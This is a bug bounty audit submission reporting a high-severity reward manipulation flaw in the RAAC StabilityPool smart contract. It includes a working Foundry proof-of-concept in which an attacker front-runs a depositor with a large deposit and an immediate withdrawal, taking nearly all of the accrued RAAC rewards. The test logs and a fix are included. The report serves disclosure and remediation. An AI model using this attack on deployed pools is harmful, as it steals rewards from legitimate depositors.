Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

Reward manipulation vulnerability in StabilityPool

Summary

The StabilityPool contract's reward distribution has a vulnerability where users can steal all accumulated RAAC rewards through a single deposit/withdrawal transaction. The issue occurs because the reward calculation uses instant deposit ratios rather than time-weighted positions, allowing theft from legitimate long-term depositors.

Vulnerability Details

The vulnerability exists in the calculateRaacRewards() function of the StabilityPool contract. The current implementation calculates rewards using the following formula:

rewards = (totalRewards * userDeposit) / totalDeposits

The vulnerability stems from multiple critical design flaws:

  1. Instant Ratio Calculation:

  • Rewards are calculated based only on current deposits, ignoring how long users have held their positions

  • Formula: rewards = (totalRewards * userDeposit) / totalDeposits

  1. No Time-based Accounting:

  • System doesn't track or weight rewards based on deposit duration

  • Long-term depositors have no advantage over new depositors

  1. Missing Protections:

  • No cooldown periods or minimum deposit times

  • Allows flash deposits to manipulate reward distribution

PoC

In the PoC below we demonstrate the following attack:

  • User deposited into the StabilityPool and accumulated rewards during one week

  • Attacker steals all the user rewards in one transaction by depositing into the StabilityPool and withdrawing right after.

Setup:

  • Install foundry through:

    • npm i --save-dev @nomicfoundation/hardhat-foundry

    • Add require("@nomicfoundation/hardhat-foundry");on hardhat config file

    • Run npx hardhat init-foundry and forge install foundry-rs/forge-std --no-commit

  • Create a file called StabilityPool.t.solin the test folder

  • Paste the code below

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC4626.sol";
import "../contracts/core/governance/boost/BoostController.sol";
import "../contracts/libraries/math/WadRayMath.sol";
import "../contracts/interfaces/core/tokens/IveRAACToken.sol";
import "../contracts/core/pools/StabilityPool/StabilityPool.sol";
import "../contracts/core/pools/LendingPool/LendingPool.sol";
import "../contracts/core/tokens/RToken.sol";
import "../contracts/core/tokens/DebtToken.sol";
import "../contracts/core/tokens/DEToken.sol";
import "../contracts/core/tokens/RAACToken.sol";
import "../contracts/core/tokens/RAACNFT.sol";
import "../contracts/core/minters/RAACMinter/RAACMinter.sol";
import "../contracts/libraries/math/WadRayMath.sol";
import "../contracts/core/primitives/RAACHousePrices.sol";
import "../contracts/mocks/core/tokens/crvUSDToken.sol";
contract StabilityPoolTest is Test {
using WadRayMath for uint256;
// contracts
StabilityPool stabilityPool;
LendingPool lendingPool;
RToken rToken;
DEToken deToken;
DebtToken debtToken;
RAACMinter raacMinter;
crvUSDToken crvUSD;
RAACToken raacToken;
RAACHousePrices public raacHousePrices;
RAACNFT public raacNFT;
// users
address owner = address(1);
address user1 = address(2);
address user2 = address(3);
address user3 = address(4);
address[] users = new address[](3);
function setUp() public {
// setup users
users[0] = user1;
users[1] = user2;
users[2] = user3;
vm.label(user1, "USER1");
vm.label(user2, "USER2");
vm.label(user3, "USER3");
// initiate timestamp and block
vm.warp(1738798039); // 2025-02-05
vm.roll(100); // block
vm.startPrank(owner);
_deployAndSetupContracts();
vm.stopPrank();
_mintCrvUsdTokenToUsers(1000000e18);
}
function testUserRewards_canBeStolen_withImmediateWithdraw() public {
// pre condition
// 1. user deposit RToken in stability pool and receive DEToken
// 2. User funds stays in the pool while RAAC rewards are issued in daily basis
uint256 depositAmount = 100e18;
vm.startPrank(user1);
lendingPool.deposit(depositAmount);
stabilityPool.deposit(depositAmount);
vm.stopPrank();
// 2.RAAC rewards are issued
_issueRAACRewards_duringOneWeek();
// Print user pending rewards
console.log("User1 pending rewards after 1 week: %e", stabilityPool.getPendingRewards(user1));
// Action: User call transaction to withdraw funds and RAAC rewards
// but he is front-runned and attacker steals all user rewards
address attacker = user2;
vm.startPrank(attacker);
lendingPool.deposit(1000000e18);
stabilityPool.deposit(1000000e18);
vm.stopPrank();
console.log("Attacker RAAC balance before the attack: %e", raacToken.balanceOf(attacker));
console.log("");
console.log("--------> attacker pending rewards right after deposit: %e", stabilityPool.getPendingRewards(attacker));
vm.prank(attacker);
stabilityPool.withdraw(1000000e18);
vm.stopPrank();
console.log("");
console.log("User1 pending rewards became dust after attacker withdraw: %e", stabilityPool.getPendingRewards(user1));
console.log("--------> Attacker RAAC balance after the attack: %e", raacToken.balanceOf(attacker));
// user1 will withdraw funds
vm.startPrank(user1);
stabilityPool.withdraw(100e18);
vm.stopPrank();
console.log("User only receive some dust as rewards: %e", raacToken.balanceOf(user1));
}
// HELPER FUNCTIONS
function _deployAndSetupContracts() internal {
// Deploy base tokens
crvUSD = new crvUSDToken(owner);
raacToken = new RAACToken(owner, 100, 50);
// Deploy real oracle
raacHousePrices = new RAACHousePrices(owner);
raacHousePrices.setOracle(owner); // Set owner as oracle
// Deploy real NFT contract
raacNFT = new RAACNFT(
address(crvUSD),
address(raacHousePrices),
owner
);
// Deploy core contracts with proper constructor args
rToken = new RToken(
"RToken",
"RTK",
owner,
address(crvUSD)
);
deToken = new DEToken(
"DEToken",
"DET",
owner,
address(rToken)
);
debtToken = new DebtToken(
"DebtToken",
"DEBT",
owner
);
// Deploy pools with required constructor parameters
lendingPool = new LendingPool(
address(crvUSD), // reserveAssetAddress
address(rToken), // rTokenAddress
address(debtToken), // debtTokenAddress
address(raacNFT), // raacNFTAddress
address(raacHousePrices), // priceOracleAddress
0.8e27 // initialPrimeRate (RAY)
);
// Deploy RAACMinter with valid constructor args
raacMinter = new RAACMinter(
address(raacToken),
address(0x1234324423), // stability pool
address(lendingPool),
owner
);
stabilityPool = new StabilityPool(owner);
stabilityPool.initialize(
address(rToken), // _rToken
address(deToken), // _deToken
address(raacToken), // _raacToken
address(raacMinter), // _raacMinter
address(crvUSD), // _crvUSDToken
address(lendingPool) // _lendingPool
);
raacMinter.setStabilityPool(address(stabilityPool));
lendingPool.setStabilityPool(address(stabilityPool));
rToken.setReservePool(address(lendingPool));
debtToken.setReservePool(address(lendingPool));
rToken.transferOwnership(address(lendingPool));
debtToken.transferOwnership(address(lendingPool));
deToken.setStabilityPool(address(stabilityPool));
deToken.transferOwnership(address(stabilityPool));
// setup raacToken's minter and whitelist
raacToken.setMinter(address(raacMinter));
raacToken.manageWhitelist(address(stabilityPool), true);
}
function _issueRAACRewards_duringOneWeek() internal {
_advanceInTime(2 days);
raacMinter.tick();
_advanceInTime(2 days);
raacMinter.tick();
_advanceInTime(3 days);
raacMinter.tick();
}
function _mintCrvUsdTokenToUsers(uint256 initialBalance) internal {
for (uint i = 0; i < users.length; i++) {
_mintCrvUsdTokenToUser(initialBalance, users[i]);
}
}
function _mintCrvUsdTokenToUser(uint256 initialBalance, address user) internal {
vm.prank(owner);
crvUSD.mint(user, initialBalance);
vm.startPrank(user);
crvUSD.approve(address(raacNFT), initialBalance);
crvUSD.approve(address(lendingPool), initialBalance);
rToken.approve(address(stabilityPool), initialBalance);
vm.stopPrank();
}
function _advanceInTime(uint256 time) internal {
vm.warp(block.timestamp + time);
vm.roll(block.number + 10000);
}
}

run: forge test --match-test testUserRewards_canBeStolen_withImmediateWithdraw -vvforge test --match-test testUserRewards_canBeStolen_withImmediateWithdraw -vv

Result:

Ran 1 test for test/StabilityPool.t.sol:StabilityPoolTest
[PASS] testUserRewards_canBeStolen_withImmediateWithdraw() (gas: 763565)
Logs:
User1 pending rewards after 1 week: 4.37847222222222218e21
Attacker RAAC balance before the attack: 0e0
--------> attacker pending rewards right after deposit: 4.378034418780344145585e21
User1 pending rewards became dust after attacker withdraw: 4.37803441878034415e17
--------> Attacker RAAC balance after the attack: 4.378034418780344145585e21
User only receive some dust as rewards: 4.37803441878034415e17
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 8.38ms (2.39ms CPU time)

Impact

  • Long-term depositors have all their rewards stolen

  • Users are disincentivized from maintaining long-term positions

  • The vulnerability can be exploited repeatedly

Tools Used

Manual Review & Foundry

Recommendations

Implement the same logic for rewards used in the contract BaseGauge where:

  • Rewards are given based on a time-weighted manner.

  • There is a reward rate tracking.

  • Checkpointing the user deposit/shares/reward rates.

Reference: BaseGauge

Updates

Lead Judging Commences

inallhonesty Lead Judge about 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

StabilityPool::calculateRaacRewards is vulnerable to just in time deposits

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.